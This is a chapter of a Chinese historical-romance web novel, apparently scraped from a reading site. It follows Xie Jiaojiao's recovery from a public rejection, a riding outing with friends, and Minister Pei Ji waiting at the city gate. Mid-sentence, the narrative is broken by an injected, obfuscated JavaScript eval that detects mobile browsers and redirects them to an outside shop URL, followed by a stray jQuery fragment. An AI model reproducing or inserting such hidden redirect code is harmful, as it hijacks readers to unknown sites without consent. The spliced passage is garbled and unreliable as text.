5. 敢爱敢恨
    乌衣巷中,苏宁为着谢娇娇之事多休沐了几日,见她一日比一日好了,一直忧着的心终于能稍稍放下,有些伤痛,唯有岁月可治愈。

    “娇娇,今夜我便先回府了,待明日官署散职后,路过明月斋时给你带酥糖和藕粉玉露。”

    三人中,唯苏宁有官身,需得应卯,说完,苏宁不免小心地留意着眼前之人反应。

    三人数日不曾出谢府,但府外那些污言恶语又岂真正密不透风,苏宁同云舒一直陪在谢娇娇身边,怕她心神受伤、一蹶不振。

    良言一句三春暖,恶语伤人六月寒,何况谢娇娇本就是京城里数一数二的风云人物,一举一动备受世人瞩目,自来备受争议。

    “还有王记烧鹅。”谢慕清似浑然不在意道,脸上笑意依旧没心没肺,眸光却是将二人待她的小心看在眼中,心中一片温暖。

    那日动静想必早已传扬开来,从身边两人和父母的神情举止中,谢娇娇也能窥见那非议之声必定不堪,她不是养在深闺里不谙世事的寻常女子,在下定决心前就已猜到世人反应,若因畏惧人言便轻易放弃,那便不是她了。

    在过去十余年里,她曾炽热赤忱地爱过一人,不遗余力地为自己争取过,无比渴望回应过,也痛彻心扉过,这一切,都曾真真切切地发生过在她身上。

    她是谢家女,生来尊贵,备受荣宠,该是骄傲明媚如娇花,敢爱敢恨,磊落光明。

    绕是被爱慕的男子当众拒绝,伤心之处也仅仅在于没有得到期盼中的回应,心底不曾因此生出过一丝怨怼,唯一觉得对不住的,只有一双爱她的父母。

    “云姝明日陪我一道去覆舟山骑马散心吧,回来正好吃烧鹅和点心。”谢慕清如今心中一派安宁,眸色如往常般道。

    往事成斯,旁人口下的蜚言并不能真正重伤她,谢娇娇行事从不拖泥带水,既然爱意没有得到同等回应,她既拿得起,也能放得下。

    身旁二人再是清楚不过谢娇娇的性子,如今见她这般,知晓她是愿意放下了。

    “好呀,许久不曾肆意纵马了,也不知郊外风光如何。”云姝笑着回道。

    三人都是彼此认定一辈子的好友,绕是世间再大纷扰,也不能叫她们真心介怀。

    “今夜好好休息养足精神,明日用过早膳后出发。”谢慕清爽朗笑意道,瞧着只惦记着明日出游一事。

    “哎,说得我都羡慕你们这些世家小女娘了,每日吃喝玩乐,逍遥赛神仙。”苏宁望着二人笑脸,忍不住酸道。

    “苏大人,你若是愿意放下那点卯的日子,我倒不介意现在去同父亲说一声,免了你的官职,叫你同我们这般逍遥自在。”谢慕清笑望着苏宁,故意逾越道。

    苏宁乃本朝改革后第一位凭科举入仕的女官,继她后,世间女子才真正将本朝提倡的男女平等放在眼中,从此,女子不再只围于后宅中相夫教子,她们也可以同男子般经商、行医、做官,甚至更胆大些不惧世俗的女子还同男子般习武,出入军营,保家卫国。

    “不必,我还是更喜如今的日子。”苏宁忙谢敬不敏道。

    人各有志,别看眼前的两人平日里看上去娇滴滴的如同闺阁娇花般,只知享乐而不知世间疾苦。

    她却是清楚得很,谢慕清早在一年前便已暗中接管了四方商号,而云姝贵为未来帝后,实为药王谷传人,一身精湛医术承袭神医诸葛仪,平日无事时乔装改扮,在京中济明堂坐诊,专为贫苦百姓治病。

    三人都在各自的领域里绽放着光芒。

    “哈哈哈哈哈,逗你呢,苏大人。”谢慕清顿时大笑出声道。

    一旁的云姝也跟着笑了。

    苏宁望着二人笑,也忍俊不禁。

    待离去时,天边星辰漫野,心叹明日必定是个好天气。

    翌日一早,谢慕清与云姝陪谢母用过早膳后,正准备坐上府中马车往郊外而去,那里有谢家马场,有专人养马。

    谢铭安听后本也打算同去的,但谢父上朝前特意交代过,今日要带他去京畿大营巡查,是以,只能遗憾地目送二人离府。

    谢府外,凌长风一早便来了,如今正端坐马上百无聊赖地等候着二人,身下的白马英姿勃发,同主人般朝气蓬勃。

    “长风,你何时到的?”云姝意外望见凌长风,见其一身胡服骑装,顿时猜到了他的打算,想必是姨母提前安排的,见状,云姝小心地看了眼身旁之人,见其并未在意,才敢放心道。

    三人年岁相差无几,云姝长于凌长风,凌长风长于谢慕清,她生长于药王谷,年长些时才被姨母接来京的,而两人却是自小长于京城,互为彼此玩伴,可谓青梅竹马。

    “晨曦初露时便到了,云姝阿姊,今日便由长风陪你们二人一道同行吧,正巧同娇娇比比,看看如今我二人到底谁骑术更甚一筹。”白马上,凌长风不拘道,眼中带笑。

    话落,二人纷纷看向未做声的谢慕清。

    “有长风哥哥同行,自然再好不过。”谢慕清接话道,神情一派欣然,但言语中却是有着恰到好处的客气,既不叫人察觉疏离,又不是那般亲昵。

    “那便好,我还怕你不愿呢,咱们快些出城吧,赶在日头毒辣前到庄上。”凌长风当即兴奋地调转马头,朝二人笑着说道。

    云姝心思细腻,自然从中听出了细微不同来,了明谢慕清的态度,知晓姨母的打算怕是行不通了。

    二人也不再耽误,坐上马车后,吩咐车夫专心赶车。

    三人行至城门口时,正值百姓进出城门的高峰期,凌长风不愿在此浪费时间,故而赶马上前仗着身份与守卫交涉道:“速速将路让开来。”

    京中官爵子弟一惯嚣张跋扈,门口守卫早已见怪不怪,正要上前呵斥时,被身边的人拉住,指了指身后的马车后,守卫顿时转变态度,赶忙上前谄媚道:“怪小的疏忽,郎君等候稍许,小的这便清理围堵,为您府上的马车开道。”

    “快些,莫耽误了小爷要事。”凌长风不耐烦道。

    城门不远处,一辆装扮朴实的马车正排在百姓身后等候出城,车夫望了望眼前拥堵的队伍,经不住地擦拭着额头汗滴,下意识地朝车里的人不满道:“大人,那人好生无礼,众目睽睽下行此特权,未免过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163449|138792||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    于霸道凌弱,你看要不要前去制止。”

    他家大人乃当朝尚书令尚且在此排队等候盘查,那人却是如此大摇大摆,丝毫不将道德礼法放在眼中,简直嚣张至极。

    马车内,裴季正端坐在车中,气定神闲地看着手中书册,只待车夫抱怨完后,这才探头,透过遮幕间隙往外看了一眼,认出前方正驶过城门的马车乃是谢府的。

    “无妨,多等上片刻吧。”放下帘布后,裴季淡然道,目光再次俯首于墨香上。

    车夫顿感无力,他家大人这般不愿惹起争端,也不知为何还会被朝中的人排挤。

    否则怎会被御史无中生有参了一本后,无人替其求情也就罢了,还被素来偏向的陛下勒令在家思过半月。

    而这一切的祸首,都是谢家那位骄纵跋扈的小郡主。

    车夫足足等了半个时辰,终于轮到他们时,守卫认出当朝尚书令后,并未盘查便想放行,哪知裴季主动从马车上下来,立在守卫前道:“既是法令如此,便该人人遵守,不必徇私枉法。”

    “是。”守卫顿感心虚道。

    一旁的车夫实在没眼看方才还趾高气扬的守卫,索性撇开眼去,省得一肚子的气堵得慌。

    盘查完后,车夫终于扬鞭加快速度,往覆舟山方向而去,也不知他家大人如何想的,这般毒辣日头,还想去崇静寺寻友拜佛,简直闲得慌。

    不对,如今他家大人可不就闲得慌嘛,毕竟需得思过半月呢,如今才过去堪堪三日。

    马车颠簸一路,行至覆舟山下时,裴季终于放下手中书册,掀开帘布来,朝外望去。

    碧绿草涧上,马啼声悠悠嘶鸣,裴季难得有片刻闲情逸致欣赏着眼前湖光山水。

    霎然间,一人一马闯入眼帘,马背之人背身而立,身着红火束腰胡裙,长发束成五彩小编倚在身后,脚蹬齐膝胡靴,好似心不在焉般随着马儿闲逛至此,似察觉到他的注视后,顿时不悦地扬鞭御马而去。

    马车背道而驰,车夫在前赶路,渐行渐远,一无所觉。

    裴季淡淡收回目光,垂下眼帘来闭目养神。

    谢家马场便是在覆舟山下的这片旷野上,夏日炎热,谢慕清已许久不曾碰马,故而方才陪着云姝挑选完马后,纵马至此,便是想看看此马脾性,哪知竟遇到了不知从何处冒出的登徒子来。

    “娇娇,方才你遇见了何人?”落在谢慕清身后处的云姝赶来时,只来得及见到她愠怒打马离开的身影,再疑心回望去时,只见一辆马车往山上驶去。

    “不知,方才我背身而立,不曾望见人。”二人如今正立在山坡下一片阴凉地等着凌长风探路归来。

    日头渐辣,两人出来不过片刻脸颊便红扑扑一片,好在云姝提前备好了遮挡纱罩,透气轻薄,既能挡日头防风,还不阻拦视线。

    二人小等片刻后,山坡上,终于出现白马身影,凌长风瞧见二人后,快马扬鞭而来,迎着笑意朝二人道:“回去吧,待日头不这般毒辣时,咱们再来好好比上一回。”

    说罢,三人调转马头,往隐在玄武湖畔的庄子而去,稍作停歇。